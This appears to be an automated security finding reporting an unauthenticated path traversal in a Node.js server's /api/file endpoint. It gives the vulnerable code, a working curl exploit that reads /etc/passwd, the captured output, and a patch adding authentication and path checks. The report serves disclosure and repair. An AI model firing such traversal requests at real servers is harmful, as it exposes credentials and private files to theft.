Unauthenticated arbitrary file read via /api/file path traversal
auth-bypass · server.js:38-45
f87c6fc2fa by Macintosh1011 on 2026-05-30Summary
The /api/file handler at server.js:38 reads the file named by the `name` query parameter from the public directory and returns its contents, but performs no authentication check and no validation/normalization of `name`. Because the value is passed directly into path.join, traversal sequences like `../` escape the intended public directory. The endpoint should require authentication and constrain reads to the public directory, but instead serves any file the server process can read to any anonymous caller.
Impact. Any remote attacker who can reach the server can read arbitrary files accessible to the Node process — confirmed by retrieving /etc/passwd. This typically extends to application source code, configuration files containing database credentials, API keys, private keys (e.g., ~/.ssh/id_rsa), and session/token stores, enabling full compromise of the application and often the host.
Vulnerable code — server.js
🔴 if (parsed.pathname === "/api/file") {🔴 const name = q.name || "welcome.txt";🔴 fs.readFile(path.join(__dirname, "public", name), "utf8", (err, data) => {🔴 if (err) return send(res, 404, `not found: ${err.message}`);🔴 send(res, 200, data);🔴 });🔴 return;🔴 }
Working exploit
curl -s 'http://127.0.0.1:4600/api/file?name=../../../../../../../../../../etc/passwd'
Exploit transcript
HTTP 200 Content-Type: text/plain ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:
Confirmed: HTTP 200 with body containing '# User Database' and 'root:*:0:0:System Administrator:/var/root:/bin/sh' — contents of /etc/passwd retrieved without authentication via ../../ traversal.
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N→ 7.5 (high)Recommended fix
AI-suggested fix — review before applying (derived from analysis of untrusted repo content):
Require authentication and constrain the resolved path to the public directory:
--- a/server.js
+++ b/server.js
@@
if (parsed.pathname === "/api/file") {
- const name = q.name || "welcome.txt";
- fs.readFile(path.join(__dirname, "public", name), "utf8", (err, data) => {
- if (err) return send(res, 404, `not found: ${err.message}`);
- send(res, 200, data);
- });
+ if (!requireAuth(req, res)) return; // 401 if no valid session/token
+ const name = q.name || "welcome.txt";
+ const publicDir = path.resolve(__dirname, "public");
+ const resolved = path.resolve(publicDir, name);
+ if (resolved !== publicDir && !resolved.startsWith(publicDir + path.sep)) {
+ return send(res, 400, "invalid path");
+ }
+ fs.readFile(resolved, "utf8", (err, data) => {
+ if (err) return send(res, 404, `not found: ${err.message}`);
+ send(res, 200, data);
+ });
return;
}Ship the fix
Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.